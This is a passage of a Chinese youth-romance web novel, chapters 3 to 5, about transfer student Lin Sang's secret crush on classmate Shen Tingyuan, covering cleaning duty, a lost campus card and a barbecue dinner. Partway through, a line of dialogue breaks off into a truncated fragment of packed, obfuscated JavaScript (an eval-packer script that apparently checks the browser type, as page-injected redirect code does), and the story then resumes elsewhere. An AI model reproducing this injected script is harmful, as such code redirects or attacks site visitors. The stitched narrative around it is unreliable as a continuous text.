确认他没事,林桑悬着的心终于落下,弯腰去拾夹子,等她起身,门口那人已经消失了。 林桑重新弄好夹子,发现身侧有人直勾勾地盯着她,她转头,下意识在刚夹好的头发上摸了摸:“怎……怎么了?” 方倚霏:“没什么,你和李宇栖以前认识啊?” 林桑:“初中同学。” 方倚霏“哦”了一声:“这样啊。” …… 第一节晚自习是物理,老师讲了会儿习题后就让他们自己自习。 物理老师夹着保温杯前脚刚走,教室里就热闹起来。 这种氛围对于林桑来说都是初中那会儿的事了。 附中录取分数线比一中低得多,每年本科上线率都差一中一截,后来就开设了珍珠班,录取分数线仅次于市里的学校,师资力量也很强,制度自然也比普通班要严得多。 高一就比别人高三还痛苦不说,除了周考和月考还有每天一小测,丧心病狂到每天的小测都要进行排名,让人每天精神紧绷,吃饭都觉得浪费时间,哪怕老师离开很长时间教室也是鸦雀无声的状态,因为一个不小心你就会因为没完成今日学习任务而在第二天检查时被通报批评,外加学习任务翻倍。 谁也不想做那个倒霉蛋。 林桑垂眼看着笔尖下的字出神,放任自己开个短暂的小差,袖子突然被人扯了扯。 林桑思绪回笼转头,方倚霏小声说:“我要告诉你个大事。” “嗯,你说。”林桑捏着笔安静等待她开口。 见林桑这么好说话,方倚霏松了一口气,即使相处了一个下午大概摸清了林桑的性格,她心底还是有点发虚的。 她开学那天来晚了没占位,所以大家都找好了同桌,只有她一直孤零零一个人,晚自习老师不在的时候,前后排因为怕目标太大都不敢跟她多聊,她每次都聊不畅快,这事本来下课了说也行,但这会儿班里都闹起来了,她实在是忍不住,见林桑在做题,她内心挣扎半天,最终还是带着罪恶感喊了她。 方倚霏酝酿两秒说:“是这样的,班里值日是两排轮一次,明天正好轮到我们。” “清洁区的话,是一周轮一组,我们组轮完了,这次到隔壁组,你能歇段时间再上阵。” “就是吧,”她顿了顿说,“今晚得辛苦一下。” 这个打扫卫生的模式和她在附中时差不多,林桑应了一声,突然反应过来方倚霏说今晚得辛苦一下,她不解道:“为什么说今晚得辛苦一下啊?” 方倚霏解释说学校早自习前会派学生会的过来检查,早上又要跑早操又要去食堂抢早点的,压根没那个时间打扫,所以大家都默认前一晚下晚自习后打扫。 林桑了然:“那一会儿扫的时候有分配吗?” “这个嘛。”方倚霏想了想说,“以前我们不是只有三个人嘛,都是一人扫完一组后派个人扫讲台,另外两个人扫剩下的那组,然后一起收拾垃圾。” 林桑:“那我就负责扫剩下的那组。” “不是,你都不挑一下的啊。” “不都一样嘛。” “那可未必。”方倚霏一脸嫌弃地说,“有些人老是喜欢在地上随便扔垃圾,可烦了。” 她说完,又问了一遍:“要不要挑?” 林桑摇摇头:“不了。” “好吧。”方倚霏感叹道,“没想到咱们组也能有分工明确的一天。” 正好有老师过来巡逻,林桑笑了一下,没再接话。 3. 第 3 章 晚自习结束后林桑才知道自己要打扫的是最右边靠窗那组,本来没什么,但最后一排坐了沈听原。 对她来说,就变得和其他组不太一样。 林桑状似不经意地往那边瞥了一眼,跟着方倚霏朝后门方向走,准备去教室旁边的杂物室取扫把。 路过后排时,李宇栖挎上书包起身,遮挡了她的视线。 林桑脚步顿住:“怎么了?” 李宇栖:“你住校?” 林桑不明所以,点头:“啊,是。” “想不想吃外面的早点,明天给你带。”李宇栖说。 “不用了,我刚来,想先试试学校的早点怎么样。”林桑说。 “行吧。”李宇栖说,“那你腻了想吃的时候告诉我。” 林桑抬手比了个手势:“好。” 李宇栖点头,视线不经意地往某个方向瞥了一眼,指了指外面:“那我先走了,朋友还在等。” 他出门后,又扒着门框探出半颗脑袋说:“明天见!” 林桑“嗯”了一声:“明天见。” 她和李宇栖说个话的功夫,方倚霏已经替她把扫把拿来了。 沈听原还没走,头埋在手肘间睡得正香,坐在他前面那个男生和他保持着一样的姿势。 林桑拿着扫把站在离他一米远的地方看着他挺阔的肩膀抿了下唇,手心渗出的汗昭告着她的心绪。 方倚霏见状走过来:“没事,你把能扫到的扫了就行,扫不到的明天早上来了随便扫两扫把就解决了。” 林桑拿着扫把往前排走,隐隐听到身后的方倚霏嘀咕了一句“以前一下课就跑没影,今天怎么这么能睡了”。 其他组住校生多,还留了不少人,林桑打扫的这组走读生偏多,除了后两排睡着人,其余位置都是空着的,扫起来速度也就比其他人都快。 到了最后两排,一股心慌从胸腔蔓延到全身,她捏着扫把的手紧了又紧。 许是最后排的缘故,两张桌子之间的间隙还挺宽敞,沈听原腿大剌剌敞着都没碰到前面的凳子,留给她打扫的空间挺多,但没什么垃圾,就在她准备直接略过的时候,余光瞥见沈听原桌子下方角落有个白色纸团。 林桑脚尖一转,轻声绕到沈听原身后打扫。 一中的凳子不是独凳,而是那种木质的长条凳子,沈听原还坐在上面,她想要移动自然不可能,不过沈听原同桌不在,她想把那团纸扫出来还是可以实现的,犹豫了一会儿,林桑蹲下用扫把去捞那团纸巾。 纸巾一角被桌子给压住了,她扫了两次都没动。 偏偏该死的强迫症在这个时候发作。 林桑站起身,想劝自己忽视那团纸巾离开,可盯着沈听原的后脑勺看了一会儿,发现他睡得很熟。 她又不死心蹲下试了一次,纸巾还是没动。 这时,耳边传来动静,林桑下意识偏头看了过去,发现沈听原已经起身斜倚在桌子边。 在他们视线相撞的那一瞬间,他似是想起什么,明亮的眸子闪了闪。 随后,他一手迟缓地撑在桌面上,一手则抬起揉了揉眼睛。 不过,他的这一套小动作林桑没注意到,她早已匆忙低头转移了视线。 可余光,却不可控地落在那只白皙的手上,距离过近,她能清晰地看到他手背上的青筋随着他的动作一点点凸起,如藤蔓般蔓延往上。 林桑看了两秒便挪开凳子开始扫纸巾,但还是没扫出来。 一想到沈听原就在旁边,不管他看没看她,她都觉得有些窘迫。 窘迫到想冲回去给不死心非要把纸巾扫出来的自己两巴掌。 桌子忽地被人动了一下,微微一倾,桌上的水杯不受控制地往外倒,林桑眼疾手快伸手去接,但有人动作比她更快,触碰到一截温热,林桑顿了一下,迅即收回手。 心跳声占满整个听觉。 她只能弯腰用脚将那团纸捞出来转移注意力。 “有纸吗?” 林桑的听觉里总算混进来一点其他声音,她一边应声一边手忙脚乱地去搜裤兜里的纸,连兜里的东西被带出来打了个转掉在地上都没发现。 沈听原半个手臂上都是水,校服衣摆和裤子上也溅了不少。 校服T恤本就薄,沾上水贴在他皮肤上,叫人将他那流畅的肌肉线条一览无余。 林桑看着被他捏在手里的纸巾,努力用平静的语气说:“这个纸巾不是可湿水的,吸水效果可能不太好,你记得多拿两张。” “好,谢谢。”沈听原抽了两张纸巾出来边擦边说。 晚风顺着窗户最后一丝缝隙偷溜进来,拂过她的脸,又寻下一个轻拂的对象去了。 林桑紧张到后背开始冒汗,捏着扫把的手用力到骨节泛白。 她努力维持声线:“不客气,应该的。” …… 教室里打扫出来的垃圾不多,但垃圾桶里则不少,满满两大桶不说,还因为太满而散落不少在地上。 四人一番折腾,花费不少时间才将垃圾都弄进垃圾袋,等她们处理完去教室关灯的时候,沈听原和他的前桌已经离开了。 扔垃圾的地方就在回寝室的路上,她们几个提着垃圾慢悠悠走在干道上,八卦聊得火热。 不远处,游书涧说着说着察觉到身后没了脚步声,一转头差点被气到升天。 他这位好兄弟特意叮嘱他晚自习结束趴桌上睡觉,他不叫不能起就算了,下楼的时候还一直鬼鬼祟祟的,到了楼下更是找了个角落系了五分钟鞋带。 五分钟! 这些他都忍了,但这会儿—— 他再忍就该憋出病来了! 游书涧冲过去一把拽住沈听原的后衣领,将人拖了大概一百米才松手。 沈听原踉跄两步站稳,扯了下衣领,语气不耐:“你拽我干什么?” 游书涧被他这番恶人先告状的语气激出一声冷笑:“你他妈好好看看自己去的是什么地方,那是女生宿舍!” 他着重强调了“女生”两个字,沈听原也觉得自己荒谬,但为了找回面子,还是为自己辩解道:“男生宿舍不也那个方向。” 游书涧翻了个白眼:“你都跟人小姑娘一路了,像个猥琐跟踪老变态,老子又不瞎。” 沈听原:“……” 沈听原面上有一瞬慌乱,过了两秒,他边走边面不改色地说:“你才变态,我东西不见了,想问问她们有没有扫到。” 游书涧插兜跟在他身后:“人在你前面走了那么长时间你当大哑巴,这会儿人都走远了你倒是长嘴了。” “还有啊,”游书涧继续说,“你今天一下课就往门外跑,跟只开屏求偶的孔雀似的。” “咱们可是班里并列的睡神,你怎么能背叛组织!” “真是毫无团队之心!”他指责道。 沈听原对他的阴阳怪气不予理睬,他转过头,看着那道被宽大校服笼罩的背影,不知道其他人说了什么,她跟着笑得肩膀都抖了几下。 沈听原转过身,唇角微扬,很快便恢复。 游书涧想起自己敬职敬业假睡的时候身后传来的动静,还想开口问点什么。 被沈听原抢了先:“闭嘴吧你。” 游书涧:“……” 游书涧:“?” 他不怕死:“我分析了一天,你是不是有喜欢的人了?” “今天刚来那个转学生?” “一见钟情?” “厉害啊哥们,我连人长什么样都没看清,你这已经单方面坠入爱河了。” 他说着,咂咂舌打趣道:“看你这死样,坠得还不浅呢。” “人叫什么名字都没弄明白吧,要不要哥们帮你打听打听?” 沈听原被他持续输出吵得头疼。 他静默许久,拇指摩挲着蓝色纸片边缘,冷声道:“你这样的去做侦探,不到一秒就得失业。” 游书涧:“……给老子滚!” * 寝室是八人间,正好空了一个床位,方倚霏她们三个都住这一间,林桑和其他四位舍友打了个招呼就开始收拾东西,床在靠窗的位置,而且是下铺,收拾起来倒也方便。 林桑把零碎的东西都归位后才开始铺床,被褥一抖开,里面掉出来两百块钱,正好落在刷着牙看她收拾的方倚霏脚边。 方倚霏帮她拾起塞进她兜里,嘴里还有泡沫,她含糊不清地说:“你爷爷或者奶奶偷偷塞的吧,我爷爷奶奶就经常这么干,总喜欢搞点含蓄的爱,偏偏我还就吃这套。” 方倚霏说这话的时候眉眼弯弯,满脸幸福,林桑被她感染,也跟着笑:“不知道我外公什么时候塞的。” 方倚霏哈哈大笑两声:“看来全世界的爷爷奶奶外公外婆都一样,都一样可爱!” 满口泡沫被她吸了一半,她骂了一声跑去洗漱台乖乖刷牙去了。 林桑收拾完东西才想起她忘了吃下午的药。 还好林景还没发现她已经来学校,不然发现她没吃药可就麻烦了。 林桑把药剪开,坐在床边开启漫长的心理建设。 “你这是什么啊?”适珈蓝吸着鼻子凑过来问。 “中药。” “治什么的?” “月经不调。” 适珈蓝不可思议地睁大眼睛:“我去,珍珠班这么狠啊?” 林桑垂眼看着手里的中药说:“可能是我身体不太行吧。” 珍珠班上女生不少,在那种压力大休息时间比其他人少的情况下,每个人都会出现点小毛病,不过大都是爆痘,月经推迟或提前,像林桑这样从月经紊乱到后来直接两个月没来的,只有她一个。 “没事,慢慢养嘛。”适珈蓝睡在林桑上铺,她说着从床上抓了一把糖递给林桑,“喝完吃两个糖,会舒服点。” 林桑其实自己备了一大包糖,但不想辜负适珈蓝的好意,她伸手接过:“谢谢。” …… 等林桑洗漱完后,盘腿坐在床上埋头翻了半天的方倚霏总算有了收获,她睡在林桑对面的上床,见林桑过来,把东西往下一甩,献宝似的说:“林桑快看,我找到了!” “你快拿去放好,不然一个小纸片很容易丢的。” 说什么就来什么,林桑伸手接过,下意识去搜自己揣在裤兜里的校园卡,结果兜里什么都没有。 她把两个兜都搜了一遍,又跑去床边把扔在床上的校服外套都搜了一遍,还是没有。 “完了,我校园卡好像不见了。” “我的妈呀,瞧我这乌鸦嘴。”方倚霏连忙呸了三声。 “你别急啊,再好好想想。”有人说。 “对啊,说不定你是放哪给忘了。” “指不定明天就想起来了,有些时候就是这样,想找的时候拼命都找不到,不想找的时候它自己又跑出来了。” 林桑看她们一个个本来已经躺好的人全都起身看着她,她抿了下唇说:“可能放教室了,我明天去看看,你们快躺下休息吧。” …… 熄灯铃声早已经响了不知多久,林桑躺在床上,听着外面的虫鸣,有点认床跟地方就算了,心里还惦记着刚捂热乎就丢了的校园卡,导致她在窗外的路灯都进入休眠阶段也没有半丝困意。 校服裤兜很深,她放校园卡之前确认过,仔细复盘一番后,想到晚上给沈听原掏纸巾的动作,瞬间反应过来应该是那时候掉的。 东西还在教室让她松了一口气,又胡乱想了些有的没的,不知不觉眼皮越来越沉,慢慢地便跟随入眠的虫儿一起渐入梦境。 隔天跑完早操,林桑买了早点回教室后,为了掩人耳目,她还特意去杂物间拿了扫把。 毕竟大早上在别人座位边打转这事还挺奇怪的。 拿上扫把后,她一进后门就听到有人“我去”了一声,她顺着声音望过去,沈听原的同桌弯腰看着桌角愤愤道:“怎么又给我扫了。” 林桑猛然意识到昨晚她费劲扫了半天的纸巾是用来干嘛的。 但大多数时候拿来垫桌脚的纸都是有点硬度的纸或纸板之类的,加上她昨晚看过去的时候,那就是一个纸团,也没叠过,就没往这个方向想。 她看着男生重新拿了纸叠好垫在桌下,把扫把往身后藏了藏,连自己原本要干什么都忘了,在心里打了腹稿想去道个歉。 脚才跨出一半,下一秒,沈听原满脸倦容地将书包甩到桌上坐下,一副生人勿近的模样。 有起床气的人都不好惹,她过去说几句话让他觉得烦了可不太好,林桑想了想,还是另挑时间吧。 她转身就把扫把放了回去,回教室的时候甚至都 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“这样啊,”林桑说着,看了眼时间,距离上课时间还剩不到五分钟,“我还是等休息时间多一点的时候再去算了。” “……” 课间操结束后,林桑和方倚霏挽着手回教室。 快到楼梯口时,方倚霏看着楼上问:“话说你不去找你哥了?” 林桑摇摇头说:“不了,反正早晚能碰上。” 说曹操曹操到,林桑被人敲了下后脑勺,她用脚趾甲盖都能猜到是林景。 她吃痛,捂着头喊道:“林景,很痛的啊!” 林景插着兜抬眼看她,一副事不关己的样子,浑得不行:“是吗,我怎么没感受到。” 林桑气得像小时候那样抓起他的手臂就想咬,林景早有经验,侧身闪到一旁,不爽道,“小没良心的,转过来了不知道说一声。” “我才没有!” “你就有!” 兄妹两小学鸡式的斗嘴看得方倚霏直笑,她示意林桑他们聊,自己先回教室后就离开了。 林景站在中间挡了道,有人上楼,他让了一下,被林桑逮着机会,眼疾手快踮起脚给他来了个脑瓜崩。 林桑弹完后有些得意,一时间忘却后面还有一级台阶,整个人失去重心往后倒,还没来得及做出反应,一只手撑在她腰后把她扶回原位。 林桑缓过神,一颗心重重跳着,转头想道谢,对上沈听原幽深的眸子,喉咙干到发痒,腰后被触碰到的地方隐隐发烫,她下意识吞了吞口水才小声说:“谢谢。” “没事,以后小心点。” “好。” 沈听原点了下头,随即跟林景打了声招呼。 临近上课,有老师拿着书上楼,林景也没跟她计较:“有空再来找你。” 林桑:“……你还是别来了。” 在走廊打闹的同学都陆陆续续回了教室,沈听原手搭在栏杆上,低声提醒她:“快上课了。” 林桑听到他的声音才想起他的存在,她还以为他已经回教室了。 沈听原说完便先她一步进了教室,林桑闭眼回想了一番自己刚刚做的事。 面如死灰地回了教室。 * 中午打扫卫生是在午休结束之后,下午第一节课之前。 林桑打扫完回到座位坐了一会儿也不见沈听原同桌,一直到吃过晚饭林桑才找到机会和对方说话。 男生有点瘦,面上没什么表情地立在那,给人一种不太好说话的感觉。 男生倚在窗边擦着手里的黑框眼镜,林桑扫完前面的位置,紧张地站在男生面前,刚要开口,男生往旁边移了一步:“扫吧,应该挡不到你了。” 林桑“啊”了一声,一鼓作气道:“对不起,昨晚我不知道那个纸是垫桌脚的,就给扫了。” 男生擦眼镜的手一顿,皱了下眉说:“你扫的?” 他这幅表情,林桑吓得一颗心升到嗓子眼。 男生眯起眼看了她一会儿,视线移到教室外,又重新移到她身上,若有所思地说:“这就有意思了。” 林桑不太懂,纳闷道:“什……什么意思啊?” “哦,没什么。”男生低头继续擦着眼镜说,“你新来的不知道,扫了很正常,不知者不罪嘛。” “以后别给我扫了就行。” 林桑抬起手发誓:“以后绝对不会,你放心。” 还不待男生说什么,林桑身后响起一道懒懒的声音:“欺负新同学呢你?” 男生闻言翻了个白眼,骂道:“智障吧你。” 沈听原站在林桑身侧,没理会男生,而是歪头看着林桑问:“有没有啊,新同学?” “有的话就直说喽,热心好同学帮你讨个公道。” 两人只隔了半臂的距离,除去那晚,这是她认识他几年来离他最近的一次,近到她能清晰地看到他polo衫设计的校服T恤只扣了两颗纽扣,一截清瘦的锁骨埋在深蓝色领子下,随着他喘吸的动作若隐若现。 这该死的身高差! 林桑面上腾地一热,欲盖弥彰地弯腰扫地:“没有,谢谢,不麻烦了。” 她这如同公式一般的话术惹得沈听原和他的同桌都笑出声。 “新同学还挺有意思。”是沈听原同桌的声音。 “是吧。”她听到沈听原轻笑着接话。 林桑心无旁骛地扫完地就想开溜,却被沈听原喊住。 “林、桑。”他一字一顿地喊着她的名字。 “是叫这个名吧?” 名字被他喊出来,总有种奇妙的感觉,林桑整个人发懵,一颗心似是被风拂过的一排风铃。 风无意,铃响声却经久不息。 她点头:“啊,是。” “那就对了,”沈听原从裤兜里掏出一个东西递给她,笑着说,“也算是成功当了回热心好同学。” 看清他递过来的东西后,林桑这才发现自己竟然忘了这茬,差点就得花三十块钱去补办。 她接过,眼神感激地看向沈听原:“谢谢,谢谢。” 光嘴上说,好像没那么有诚意,林桑想了想又道:“那个,你方便的话,晚饭我请你吧,算是谢礼。” 沈听原倒也没客气:“可以。” 4. 第 4 章 校园卡上面的蓝底照掉了,只有双面胶还在,沈听原应该没看到,林桑稍微有那么一丝庆幸。 拍照那天占用了上课时间,老李不停地在旁边催促,他们班的照片拍得很急。 照片是在她还没准备好的情况下拍的,事后一看,眼神呆滞,头发炸毛,实在是丑到她自己都嫌弃。 她那天从沈听原那拿回校园卡后就去买了一支固体胶,翻了新的蓝底照贴上。 而说好的请他吃饭,因为沈听原说先欠着就一直没践行。 林桑和沈听原接触最多的日子也停留在打扫卫生那天。 不过,从同校的陌生人到同班同学,总归是不一样的。 算是有了质的飞跃。 所以,也不用非得有什么交流,就这样每天坐在一间教室上课。 就足够了。 …… 转眼就到了周五,语文老师留了周末作业,一份试卷加一篇作文,方倚霏是语文课代表,林桑陪她去办公室取了试卷,一人负责两组开始下发。 林桑把一沓试卷放在手肘上,一排一排往下发,方倚霏都是数好后直接给第一排,然后让他们自己往下传。 见林桑这么老实,方倚霏喊了一声给她支招:“像我这样,省事,少的再让他们自己找你拿就行。” 林桑存了小心思,边发边说:“我这么发放心点,很快的。” “好吧,辛苦啦。”方倚霏说,“一会儿请你喝李子园。” 相处了这么几天,方倚霏已经把林桑的口味和习惯都研究透彻。 她们都是各种碳酸饮料往胃里灌,而林桑呢,只偶尔买一瓶李子园,每次都是草莓味,都不带腻的。 林桑隔着座位朝她笑了一下,发完一排低头去拿试卷准备发下一排的时候,隐约瞥见有个高高的人影晃了过去。 林桑抬起头,只来得及看清那人的一截校服。 但她还是一眼认出他来。 还没发到的同学都在等试卷,她也不敢多耽搁,急匆匆将手里的试卷发完,然后从兜里抽出一张纸巾胡乱擦了擦手,随后将纸巾捏成一团出门扔垃圾。 她走得笔直,视线也不敢乱飘,只用一点余光确认找沈听原的人是谁。 一大一小的脚,同穿着某品牌白色休闲板鞋。 这个牌子的东西沈听原一直都很喜欢,从她认识他那天起,他身上每天总会有一样东西是这个牌子的。 学校里穿这个牌子的人不少,但…… 一模一样。 不会有这种巧合的吧。 垃圾桶在杂物室隔壁,从杂物室门口往左拐个弯就是,属于一个盲区。 更加确定女生和沈听原的关系后,林桑整个人垮下来,随手把纸扔进垃圾桶。 那个女生不就两三天没出现在她的视线里,她竟然就将她忘却了。 还妄想靠请沈听原吃饭离他再近一点。 她垂眼把玩着校服拉链,为自己的想法感到不耻。 顷刻间,一股怪异的感觉如暴雨般砸在心头。 像是考试前偷偷含了一颗糖,明知里面是柠檬酸的夹心,还是忍不住试探着轻轻往下咬。 浓郁的酸味势不可挡,一秒溢于唇齿间,蔓延在浑身血液之中,最后汇聚在心口,哪怕极其难以忍受,也无法尽情地喊出口。 楼上楼下时不时传来打闹声和篮球拍地的“咚咚”声,枝头的鸟儿追来追去,树叶发出沙沙声以示反抗。 林桑倚在用来摆放物品的桌子上,试图用这些来转移注意力。 几分钟后,她才整理好情绪回了教室。 * 云亭一中的学生一半以上都是从附近各大乡镇考进来的,只有少部分是县城里的,所以学校规定了常住地离学校超出三公里就得住校。 林桑户籍上的地址虽然在范围内,但她八岁那年就搬了出来。 现在住的地方位于城郊,没在走读范围内,不过因为距离不算太远,能够申请周五回家,周日再来学校。 否则住校生是周六早上下了早自习发放手机后才能出校门的,而且晚上还要回校继续上自习。 林桑下午吃过饭就去办公室找陈雪批周末回家申请,写申请的间隙,陈雪接了个电话,林桑隐隐约约听到说是有人想转到陈雪带的班级。 陈雪看了眼林桑,示意她继续写,对电话那头说:“我这前两天刚来了一个,教室正好坐满,来了单独加桌子都快顶后黑板去了,这学着也不方便啊。” “你看这样行不,郭老师他们班还有不少空位,就在隔壁嘛,也是我上课的班级,要不把他弄那个班去。” 对面不知道说了什么,陈雪应了几声就挂了电话。 林桑申请也正好写完,陈雪接过看了一会儿,从笔筒里抽出一支笔在申请表上面签字:“要保管好啊,丢了可以补,但是太频繁不行。” “回家要注意安全。”陈雪把申请表递给她叮嘱道。 林桑微微躬下身,双手接过:“好的,谢谢老师。” …… 晚上第一节自习结束林桑就已经把要带回家的东西收进书包里,方倚霏双手托腮看着:“好羡慕啊,我也想回家了。” 林桑:“你明天出去了可以去我家玩。” “算了算了。”方倚霏说,“我还得滚回来上晚自习,一看你不用,到时候那种落差感我可消化不了。” “你是不知道周末玩的时候还要惦记着上自习的时间有多痛苦,到了高三可就强制性上了,好好珍惜啊!”方倚霏拍拍她的肩,那表情,仿佛给林桑交付了什么任重道远的任务。 最后一节自习也在铃声响起时结束,林桑和方倚霏她们道完别,独自往校门口走。 最近习惯了干什么都有人陪着,现在一个人走在林荫道上,一时间还有点不习惯,出校门后更是有种被人跟踪的错觉。 走了不到半分钟,这种感觉越来越强烈,林桑精神紧绷,加快步伐,一手死死捏着书包带,一手开始胡乱摸着拉链准备找手机给林景打电话。 下一秒,背后一空,书包被人提了起来。 林桑呼吸一窒,僵硬地站在原地,大气不敢喘。 “跑什么?有鬼追你?” 听到柳靳于那欠扁的声音,林桑一秒放松,她后怕地在胸口拍了拍,缓缓吐了口气才道:“你怎么不说话啊,吓死我了。” “我跟你招手了来着,”柳靳于一脸无辜,“结果你闷着头就跑,我有什么办法。” “那你喊一声也行啊。” “我这不是得在新同学面前维持形象。” “你能有什么……”林桑说到一半,捕捉到他话里的重点,“新同学?” “周一报道,怎么样,高不高兴?” 林桑:“……” 想起去办公室写申请的时候陈雪接到的电话,“所以那个执意要转到陈老师带的班级的人是你?” “不然还能有谁。”柳靳于挑了下眉,“不要太感动。” 林桑面无表情扯出一个笑:“哇,真感动。” 柳靳于一脸嫌弃地抬手将她的笑容捏了回去,“太勉强了,你还是别感动了。” “走吧。” “去哪?” “你哥在恰亿点烧烤订了位,就等你了。” …… 夜晚的烧烤店总是很热闹,肉香卷着烟雾和杂乱的交谈声缓缓飘散在霓虹中。 林桑和柳靳于到的时候,林景已经独自烤完了一盘五花肉。 “柳靳于你接个人用骡子驮着来的?”林景边下肉边说。 “我驮着来的,满意了吧?” 林景眼皮轻抬,嗤了一声:“难怪这么慢。” 这两人就像是天生八字相克,凑到一块一点就着。 林桑决定暂时远离战场,她轻车熟路地摸去冷藏冰柜里拿了一瓶杨梅酒,又从冰柜下方摆放的百纳箱里取出两个玻璃杯。 她一坐下,林景和柳靳于也不斗嘴了,齐刷刷扭头看向她。 “教不乖是吧。”林景沉着脸说,“要是我每天不去监督你喝药,你是不是别说忌口,连药也不喝了?” 那天弹了林景脑瓜崩后,他又来找她的时候林桑还以为是算账来了,但林景每次都是看她喝完药就走了。 林桑手里的酒还没放下,忌口她当然记得,就是平时过来这家店都是这么拿的,习惯了,一时间没反应过来。 生怕林景找刘乔千告状,她不敢吭声,柳靳于伸手把她手里的酒抽了过去:“关心咱两斗嘴斗多了口干呢。” “是吧?”柳靳于冲她挤眼,“金金。” 林桑“啊”了一声,心虚地说:“对,我是给你们拿的。” 林景显然不吃这套:“我这有杯子,你多拿的那个,给狗拿的?” 林桑:“……” 柳靳于咂舌,不耐道:“不是,我说你这人怎么……” “林景?” 眼看又要吵起来,一旁有人认出了林景。 林景抬眼,还没开口,一个男生已经走过来,看到林桑,他瞪大眼睛,视线来回扫视几次后,他一脸震惊地看着林景说:“我操,你出轨啊?” 林景一脚踹人腿上:“出你二大爹,这我妹。” “你还有个妹妹?我以前咋不知道。” “你不知道的多了去了。”林景说。 男生嘿嘿笑了两声,低头看了一眼烧烤桌上没怎么动过的东西:“你们等人啊?” 林景没过多解释,随口道:“没,刚上齐。” 男生点点头,视线在店里扫了一圈:“没空位了,要不拼个桌?” 林景下巴一抬:“问他们。” 男生看向林桑,决定权猝不及防交到手上,林桑怔松片刻:“可以。” 柳靳于耸耸肩:“我没意见。” 男生道了谢坐下,朝林桑身后的方向招了招手喊道:“这边!” 侧边摆了两瓶店家赠送的矿泉水,有人要过来坐,林桑就拿了放到脚边,还未抬头,一双熟悉的白色鞋子出现在眼前。 林桑视线顺着蓝色校服裤子一点点上移,移到一半,看到那只拉开椅子的手以及扣在手腕上的红色机械表,视线就此打住,重新移回正轨。 与此同时,她左手边有人坐下,那人像是发现了什么新大陆一般:“是你啊,我还欠你份炒饵丝,记得不?” 因为右边坐着的人,林桑面上不显,心里却早已方寸大乱。 一时间没反应过来,她茫然地转过头:“啊,没有吧。” “就离学校不远那个巷口,你再想想。” 林桑脑子终于开始运转:“想起来了。” 游书涧:“早就想问了,一直没找到机会,你现在吃吗,我去点。” 记忆被勾起,林桑垂眼看着手腕,那里竟隐隐有种才被人握过的感觉。 “不用了,是我没注意才会扔出去的。” “你不用害羞,咱们现在都一个班了,大家都同学嘛,难道……”游书涧顿了顿,“你还没把班上同学认全?” “要不我先来个自我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林桑想要求助林景,谁知林景噗嗤一声笑了出来,一副“我看你怎么圆”的表情。 得了,这是想让她长记性呢。 情急之下,她只能将视线对准柳靳于。 柳靳于反应迅速,从书包里翻出一瓶水,将瓶盖拧松后放到林桑面前说:“她用来倒矿泉水喝。” 刘骁睿不疑有他,笑道:“你还挺有仪式感嘛。” 柳靳于十分入戏,笑着应:“可不嘛,讲究着呢,没点仪式感都喝不下去。” 一时间,在场的人都笑出声。 沈听原低浅的笑声落入耳中,林桑耳根微微发烫,硬着头皮打开瓶盖倒了一杯水,小口小口开始抿。 过了一会儿,沈听原起身说:“我出去一下。” 他不过是通知一声,也不等谁回应就离开了。 大概五六分钟后,林桑咬着嘴里的五花肉,配着平平无奇的矿泉水,怎么都不过瘾的时候,有人往她桌上放了一瓶李子园。 草莓味的。 林桑心被揪住,不切实际的念头刚冒出苗头,下一秒就被引发这个念头的人亲手撕得稀碎。 沈听原给每个人都买了一瓶。 全是草莓味。 她从小见过喝李子园的男生都很少,喝草莓味的除了被她影响的林景,就没再见过,所以潜意识里一直默认男生都不喜欢喝这种东西,可从其他人都没什么特别大的反应来看,他应该经常买。 很多时候,人相处时间一长,口味和习惯就会越来越相似。 可能……那个女生也喜欢喝吧。 林桑眼睫颤了颤,强压下铺天盖地涌上来的酸楚和低落,她轻声说了谢谢后,倒了满满一杯水灌下。 本是想让自己清醒一些,那个不切实际的念头和方才认清的现实却一直盘旋在她脑海里。 渐渐的,后者被前者打败。 她也因此,体味到了小小的满足和幸福。 耳边传来沈听原和林景交谈的声音,林桑心里那座满是甜蜜的高塔被震碎,化作万千碎片,每一片都折射出残酷的事实。 太阳虽然只有一个,却璀璨到能照亮整个世界,哪怕被人私有,那势不可挡的光芒也能让其他人沐浴几分。 她不是那个将太阳私有的人,她只是运气好离太阳比较近,所以多享受了几分阳光。 林桑盯着空荡荡的玻璃杯,不免为自己的自作多情感到羞惭。 …… 因为提前打过电话,林桑回到家时,外公已经睡下了。 她轻声洗漱完回到房间,从包里拿出那瓶粉色的李子园,掰去绿色瓶盖,手里的吸管捏了半晌,几次抬起,又几次放下,怎么也戳不下去。 想了想,林桑弯下腰从床下抽出一个棕色的收纳纸箱。 收纳箱不大,上面落了一层薄薄的灰,林桑放下李子园抽了纸巾将箱盖擦干净才打开。 里面的东西不多,一本厚厚的笔记本,一盒同学录,还有一张放在塑封袋里的两指宽蓝色小纸片。 看似简单不起眼的东西,却承载了少女青涩的暗恋,藏满了她不敢言说的秘密。 林桑把里面的东西挪了挪,留出空位,将床上的李子园放了进去。 盖好盖子后,又忍不住打开看了一眼。 这个动作循环往复了几次,纸箱才终于被放回原位。 5. 第 5 章 一个周末,林桑都是在何爷爷的副食店里度过的。 守了一周店,下棋没尽兴,林桑一回来,何爷爷嘴角的笑都快咧到后脑勺。 林桑却笑不出来。 倒不是因为要守店,而是因为她今天早上过来的时候,跟何爷爷说了她下午要带一条百花香可湿水纸巾去学校,何爷爷问她之前那几箱纸巾就用完了,林桑说那些纸只是用来擦水擦灰什么的,还够用个大半年,就是可湿水的带着方便点。 何爷爷起初也没说什么,走了都快两分钟又突然折返回来。 “你之前说三无产品不能卖那批纸,前几天你在学校的时候,我全给卖出去了。” 何爷爷说这话的时候神采飞扬,林桑却被吓得神色尽失。 难怪她昨天总觉得休息室少了点什么。 林桑还在附中的时候,有人趁她不在给何爷爷极力推销了一款纸巾,说是现在的年轻人都喜欢用这款,店离学校不远,销量肯定很好。 何爷爷当天喝了酒,被人一忽悠,爽快地进了货。 等林桑周末回来整理货架的时候一看,那批纸包装图不知道从哪盗的,极其模糊,看上去就给人一种很劣质的感觉,再一细看,更是不得了,该有的生产日期和质量合格证什么的都没有! 那段时间正好碰上云亭整改,各方面都进行审查,很是严格,这要是卖了,后果不堪设想。 